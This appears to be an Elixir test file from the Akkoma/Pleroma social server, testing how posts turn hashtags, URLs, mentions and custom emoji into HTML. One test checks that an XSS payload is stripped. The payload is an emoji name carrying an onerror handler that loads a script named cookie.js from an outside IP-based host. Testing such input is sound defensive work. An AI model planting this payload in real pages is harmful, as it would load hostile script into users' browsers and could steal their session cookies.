Attempt to resolve merge conflict
[akkoma] / test / formatter_test.exs
1 defmodule Pleroma.FormatterTest do
2 alias Pleroma.Formatter
3 alias Pleroma.User
4 use Pleroma.DataCase
5
6 import Pleroma.Factory
7
8 describe ".add_hashtag_links" do
9 test "turns hashtags into links" do
10 text = "I love #cofe and #2hu"
11
12 expected_text =
13 "I love <a href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
14
15 tags = Formatter.parse_tags(text)
16
17 assert expected_text ==
18 Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
19 end
20 end
21
22 describe ".add_links" do
23 test "turning urls into links" do
24 text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
25
26 expected =
27 "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
28
29 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
30
31 text = "https://mastodon.social/@lambadalambda"
32
33 expected =
34 "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
35
36 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
37
38 text = "https://mastodon.social:4000/@lambadalambda"
39
40 expected =
41 "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
42
43 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
44
45 text = "@lambadalambda"
46 expected = "@lambadalambda"
47
48 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
49
50 text = "http://www.cs.vu.nl/~ast/intel/"
51 expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
52
53 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
54
55 text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
56
57 expected =
58 "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
59
60 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
61
62 text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
63
64 expected =
65 "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
66
67 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
68
69 text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
70
71 expected =
72 "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
73
74 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
75
76 text = "https://en.wikipedia.org/wiki/Duff's_device"
77
78 expected =
79 "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
80
81 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
82
83 text = "https://pleroma.com https://pleroma.com/sucks"
84
85 expected =
86 "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
87
88 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
89
90 text = "xmpp:contact@hacktivis.me"
91
92 expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
93
94 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
95
96 text =
97 "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
98
99 expected = "<a href=\"#{text}\">#{text}</a>"
100
101 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
102 end
103 end
104
105 describe "add_user_links" do
106 test "gives a replacement for user links" do
107 text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
108 gsimg = insert(:user, %{nickname: "gsimg"})
109
110 archaeme =
111 insert(:user, %{
112 nickname: "archaeme",
113 info: %{"source_data" => %{"url" => "https://archeme/@archaeme"}}
114 })
115
116 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
117
118 mentions = Pleroma.Formatter.parse_mentions(text)
119
120 {subs, text} = Formatter.add_user_links({[], text}, mentions)
121
122 assert length(subs) == 3
123 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
124
125 expected_text =
126 "<span><a class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a class='mention' href='#{
127 "https://archeme/@archaeme"
128 }'>@<span>archaeme</span></a></span>, that is @daggsy. Also hello <span><a class='mention' href='#{
129 archaeme_remote.ap_id
130 }'>@<span>archaeme</span></a></span>"
131
132 assert expected_text == Formatter.finalize({subs, text})
133 end
134
135 test "gives a replacement for user links when the user is using Osada" do
136 mike = User.get_or_fetch("mike@osada.macgirvin.com")
137
138 text = "@mike@osada.macgirvin.com test"
139
140 mentions = Formatter.parse_mentions(text)
141
142 {subs, text} = Formatter.add_user_links({[], text}, mentions)
143
144 assert length(subs) == 1
145 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
146
147 expected_text =
148 "<span><a class='mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
149
150 assert expected_text == Formatter.finalize({subs, text})
151 end
152
153 test "gives a replacement for single-character local nicknames" do
154 text = "@o hi"
155 o = insert(:user, %{nickname: "o"})
156
157 mentions = Formatter.parse_mentions(text)
158
159 {subs, text} = Formatter.add_user_links({[], text}, mentions)
160
161 assert length(subs) == 1
162 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
163
164 expected_text = "<span><a class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
165 assert expected_text == Formatter.finalize({subs, text})
166 end
167
168 test "does not give a replacement for single-character local nicknames who don't exist" do
169 text = "@a hi"
170
171 mentions = Formatter.parse_mentions(text)
172
173 {subs, text} = Formatter.add_user_links({[], text}, mentions)
174
175 assert length(subs) == 0
176 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
177
178 expected_text = "@a hi"
179 assert expected_text == Formatter.finalize({subs, text})
180 end
181 end
182
183 describe ".parse_tags" do
184 test "parses tags in the text" do
185 text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
186
187 expected = [
188 {"#Test", "test"},
189 {"#working", "working"},
190 {"#漢字", "漢字"},
191 {"#は", "は"}
192 ]
193
194 assert Formatter.parse_tags(text) == expected
195 end
196 end
197
198 test "it can parse mentions and return the relevant users" do
199 text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
200
201 gsimg = insert(:user, %{nickname: "gsimg"})
202 archaeme = insert(:user, %{nickname: "archaeme"})
203 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
204
205 expected_result = [
206 {"@gsimg", gsimg},
207 {"@archaeme", archaeme},
208 {"@archaeme@archae.me", archaeme_remote}
209 ]
210
211 assert Formatter.parse_mentions(text) == expected_result
212 end
213
214 test "it adds cool emoji" do
215 text = "I love :moominmamma:"
216
217 expected_result =
218 "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
219
220 assert Formatter.emojify(text) == expected_result
221 end
222
223 test "it does not add XSS emoji" do
224 text =
225 "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
226
227 custom_emoji = %{
228 "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
229 "https://placehold.it/1x1"
230 }
231
232 expected_result =
233 "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
234
235 assert Formatter.emojify(text, custom_emoji) == expected_result
236 end
237
238 test "it returns the emoji used in the text" do
239 text = "I love :moominmamma:"
240
241 assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
242 end
243
244 test "it returns a nice empty result when no emojis are present" do
245 text = "I love moominamma"
246 assert Formatter.get_emoji(text) == []
247 end
248
249 test "it doesn't die when text is absent" do
250 text = nil
251 assert Formatter.get_emoji(text) == []
252 end
253 end